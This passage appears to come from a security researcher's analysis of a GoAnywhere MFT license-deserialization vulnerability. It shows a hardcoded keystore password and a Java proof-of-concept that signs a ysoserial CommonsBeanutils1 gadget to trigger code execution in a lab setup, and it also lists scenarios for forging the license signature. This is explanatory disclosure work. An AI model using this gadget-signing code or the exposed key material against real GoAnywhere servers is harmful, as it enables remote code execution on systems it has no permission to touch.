Certificate fingerprint (SHA-256): B7:D9:A6:08:73:AE:BA:6C:1C:6F:65:0C:0F:C9:31:D3:03:FB:7F:14:24:48:17:EF:42:DA:A8:CC:AE:03:B1:04
Warning:
<productkey> uses the SHA1WITHDSA signature algorithm which is considered a security risk. This algorithm will be disabled in a future update.As we can see above, there are two PrivateKeyEntry items, named “productkey”, and “productkey1”, and two trustedCertEntry items named “serverkey”, and “serverkey1”. The trustedCertEntry items will only contain public key values.
Inspecting “serverkey1” in more detail shows us it is a 4096-bit RSA key, so factoring this public key value into its private key components is not practical.
sfewer@sfewer-ubuntu-vm:~/Desktop/GoAnywhereMFT$ keytool -list -v -alias serverkey1 -keystore linomagen2.bcks -storetype BCFKS -storepass G@mft2018 -providerpath ./bc-fips-1.0.2.4.jar -providerclass org.bouncycastle.jcajce.provider.BouncyCastleFipsProvider
Alias name: serverkey1
Creation date: 25 Sep 2019
Entry type: trustedCertEntry
Owner: CN=Linoma Software, OU=GoAnywhereMFT Suite, O=Linoma Software, L=Ashland, ST=Nebraska, C=US, [email protected]
Issuer: CN=Linoma Software, OU=GoAnywhereMFT Suite, O=Linoma Software, L=Ashland, ST=Nebraska, C=US, [email protected]
Serial number: 16d3ab20bf5
Valid from: Mon Sep 16 16:30:10 IST 2019 until: Thu Sep 16 06:00:00 IST 2049
Certificate fingerprints:
SHA1: 1E:83:37:6C:E1:2D:20:F7:B3:30:F4:11:3D:8F:86:64:CC:FC:06:D0
SHA256: B7:D9:A6:08:73:AE:BA:6C:1C:6F:65:0C:0F:C9:31:D3:03:FB:7F:14:24:48:17:EF:42:DA:A8:CC:AE:03:B1:04
Signature algorithm name: SHA512WITHRSA
Subject Public Key Algorithm: 4096-bit RSA key
Version: 3Testing
While we do not have the correct private key to correctly sign a malicious SignedObject, we can still verify the unsafe deserialization in a lab environment. We reimplement the signing and verification logic in a standalone Java console application, and modify it such that we both sign and verify using a key we do have both the public and private components for, i.e. the signing alias, aka “productkey1”. We use ysoserial to create a CommonsBeanutils1 gadget chain, and sign it. We can then confirm that when verified, it will trigger unsafe deserialization.
// java --add-opens=java.base/java.net=ALL-UNNAMED --add-opens=java.base/java.util=ALL-UNNAMED --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED --add-opens=java.base/sun.reflect.annotation=ALL-UNNAMED -cp "C:\Users\sfewer-r7\Desktop\GoAnywhereMFT\7.8.0\GoAnywhere\lib\*;C:\Users\sfewer-r7\Desktop\GoAnywhereMFT\ysoserial-all.jar" TestGadget.java
import org.bouncycastle.jcajce.provider.*;
import com.linoma.parser.java.io.serialization.JavaSerializationUtilities;
import com.linoma.commons.StringUtilities;
import com.linoma.license.gen2.*;
import org.apache.commons.io.IOUtils;
import java.io.IOException;
import java.io.InputStream;
import java.io.ByteArrayOutputStream;
import java.security.*;
import java.security.Signature;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.security.KeyStore;
import java.security.PrivateKey;
import java.security.PublicKey;
import java.security.cert.Certificate;
import ysoserial.payloads.ObjectPayload;
public class TestGadget {
public static KeyConfig getProductKeyConfig(String paramString) throws BundleException {
KeyConfig keyConfig = new KeyConfig(false);
InputStream inputStream = null;
try {
String str = "";
if ("2".equals(paramString))
str = "1";
inputStream = LicenseController.class.getResourceAsStream("linomagen2.bcks");
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
IOUtils.copy(inputStream, byteArrayOutputStream);
keyConfig.setKeyStore(byteArrayOutputStream.toByteArray());
keyConfig.setSigningAlias("productkey" + str);
keyConfig.setVerifyingAlias("serverkey" + str);
keyConfig.setPassword("G@mft2018".toCharArray());
keyConfig.setVersion(paramString);
keyConfig.setKeyStoreType("BCFKS");
return keyConfig;
} catch (IOException iOException) {
throw new BundleException(iOException.getMessage(), iOException);
} finally {
if (inputStream != null)
IOUtils.closeQuietly(inputStream);
}
}
private static byte[] sign(/*byte[]*/Object paramArrayOfbyte, KeyConfig paramKeyConfig, String paramString) throws Exception /*NoSuchAlgorithmException, InvalidKeyException, SignatureException, IOException, UnrecoverableKeyException, CertificateException, KeyStoreException, NoSuchProviderException*/ {
Signature signature = null;
String str = "SHA1withDSA";
if ("2".equals(paramKeyConfig.getVersion()))
str = "SHA512withRSA";
if (StringUtilities.isEmpty(paramString)) {
signature = Signature.getInstance(str);
} else {
signature = Signature.getInstance(str, paramString);
}
ObjectOutputStream objectOutputStream = null;
try {
PrivateKey privateKey = getPrivateKey(paramKeyConfig);
//SignedContainer signedContainer = new SignedContainer();
//signedContainer.setData(paramArrayOfbyte);
SignedObject signedObject = new SignedObject(/*signedContainer*/(Serializable) paramArrayOfbyte, privateKey, signature);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(signedObject);
return byteArrayOutputStream.toByteArray();
} finally {
if (objectOutputStream != null)
objectOutputStream.close();
}
}
private static byte[] verify(byte[] paramArrayOfbyte, KeyConfig paramKeyConfig) throws Exception /*IOException, ClassNotFoundException, NoSuchAlgorithmException, InvalidKeyException, SignatureException, UnrecoverableKeyException, CertificateException, KeyStoreException*/ {
String str = "SHA1withDSA";
if ("2".equals(paramKeyConfig.getVersion()))
str = "SHA512withRSA";
PublicKey publicKey = getPublicKey(paramKeyConfig);
Signature signature = Signature.getInstance(str);
SignedObject signedObject = (SignedObject) JavaSerializationUtilities.deserialize(paramArrayOfbyte, SignedObject.class, new Class[]{byte[].class});
if (paramKeyConfig.isServer())
return ((SignedContainer) JavaSerializationUtilities.deserializeUntrustedSignedObject(signedObject, SignedContainer.class, new Class[]{byte[].class})).getData();
boolean bool = signedObject.verify(publicKey, signature);
if (!bool)
throw new IOException("Unable to verify signature!");
SignedContainer signedContainer = (SignedContainer) signedObject.getObject();
return signedContainer.getData();
}
private static PublicKey getPublicKey(KeyConfig paramKeyConfig) throws Exception /*CertificateException, IOException, KeyStoreException, NoSuchAlgorithmException, UnrecoverableKeyException*/ {
InputStream inputStream = null;
try {
KeyStore keyStore = KeyStore.getInstance(paramKeyConfig.getKeyStoreType());
inputStream = paramKeyConfig.getKeyStoreAsStream();
keyStore.load(inputStream, paramKeyConfig.getPassword());
// ***
// *** As we do not have the private key for getVerifyingAlias (serverkey1), for the purpose of testing a
// *** gadget chain in this TestGadget.java script only, we manually modify the signing/verification to use
// *** getSigningAlias (productkey1) as we have both the private and public key for productkey1.
// ***
Certificate certificate = keyStore.getCertificate(/*paramKeyConfig.getVerifyingAlias()*/paramKeyConfig.getSigningAlias());
if (certificate == null)
throw new KeyStoreException("Specified public key not found: " + /*paramKeyConfig.getVerifyingAlias()*/paramKeyConfig.getSigningAlias());
return certificate.getPublicKey();
} finally {
if (inputStream != null)
inputStream.close();
}
}
private static PrivateKey getPrivateKey(KeyConfig paramKeyConfig) throws Exception /*CertificateException, IOException, KeyStoreException, NoSuchAlgorithmException, UnrecoverableKeyException*/ {
InputStream inputStream = null;
PrivateKey privateKey = null;
try {
KeyStore keyStore = KeyStore.getInstance(paramKeyConfig.getKeyStoreType());
inputStream = paramKeyConfig.getKeyStoreAsStream();
keyStore.load(inputStream, paramKeyConfig.getPassword());
Key key = keyStore.getKey(paramKeyConfig.getSigningAlias(), paramKeyConfig.getPassword());
if (key == null || !(key instanceof PrivateKey))
throw new KeyStoreException("Specified key not found: " + paramKeyConfig.getSigningAlias());
privateKey = (PrivateKey) key;
} finally {
if (inputStream != null)
inputStream.close();
}
return privateKey;
}
public static void main(String[] args) {
try {
Security.addProvider(new BouncyCastleFipsProvider());
KeyConfig k = getProductKeyConfig("2");
// Create a CommonsBeanutils1 deserialization gadget
final Class<? extends ObjectPayload> payloadClass = ysoserial.payloads.ObjectPayload.Utils.getPayloadClass("CommonsBeanutils1");
final ObjectPayload payload = payloadClass.newInstance();
final Object object = payload.getObject("calc");
// sign the gadget, and get back a byte[]
byte[] res = sign(object, k, "BCFIPS");
// verify the SignedObject held in the byte[] and then trigger unsafe deserialization.
verify(res, k);
} catch (Exception e) {
e.printStackTrace();
}
}
}Running this test program confirms that unsafe deserialization is indeed possible so long as the attacker knows the private key used to verify the SignedObject during a call to BundleWorker.ubundle.
The test application was run with the following command:
java --add-opens=java.base/java.net=ALL-UNNAMED --add-opens=java.base/java.util=ALL-UNNAMED --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED --add-opens=java.base/sun.reflect.annotation=ALL-UNNAMED -cp "C:\Users\sfewer-r7\Desktop\GoAnywhereMFT\7.8.0\GoAnywhere\lib\*;C:\Users\sfewer-r7\Desktop\GoAnywhereMFT\ysoserial-all.jar" TestGadget.javaAnd resulted in the CommonsBeanutils1 gadget chain executing our chosen command.

We can note from the displayed stack trace, that this closely matches the log file IOC provided in the vendor advisory, specifically the method verify calling java.security.SignedObject.getObject and ultimately triggering a Runtime exception InvocationTargetException: java.lang.reflect.InvocationTargetException.
While this test does confirm unsafe deserialization is possible, it also highlights that an attacker requires the private key for the verifying alias, aka “serverkey1”, as the public key for “serverkey1” is what will be used to verify a signed object in a real world example (again, our test application above is contrived for the purpose of testing the unsafe deserialization).
Signature forgery
Now that we know how we can bypass an access control and supply a malicious bundle to the /goanywhere/lic/accept/ endpoint, which will result in unsafe deserialization, we also know that to trigger unsafe deserialization we must sign a SignedObject with the private key from the verifying alias, aka “serverkey1”. We also know that the private key for “serverkey1” is not present in the key store that is shipped with GoAnywhere MFT. This then begs the question of how an attacker satisfies this requirement to, as the vendor advisory phrases it, have a “validly forged license response signature”.
Ultimately this analysis does not have a clear answer for this question, however several hypothetical scenarios are plausible.
- Scenario 1: If the “serverkey1” private key was accidentally shipped in an earlier product release it could be known to an attacker. While we were able to analyze several earlier versions of both GoAnywhere MFT and GoAnywhere Gateway, and did not locate the private key for “serverkey1”, our search was non-exhaustive.
- Scenario 2: If an attacker could coerce a component within a remote license server to sign a malicious SignedObject.
- Scenario 3: The attacker, through some unknown means, has access to the “serverkey1” private key.
- Scenario 4: Some other scenario not yet understood, allowed for the valid forging of a malicious license response SignedObject.



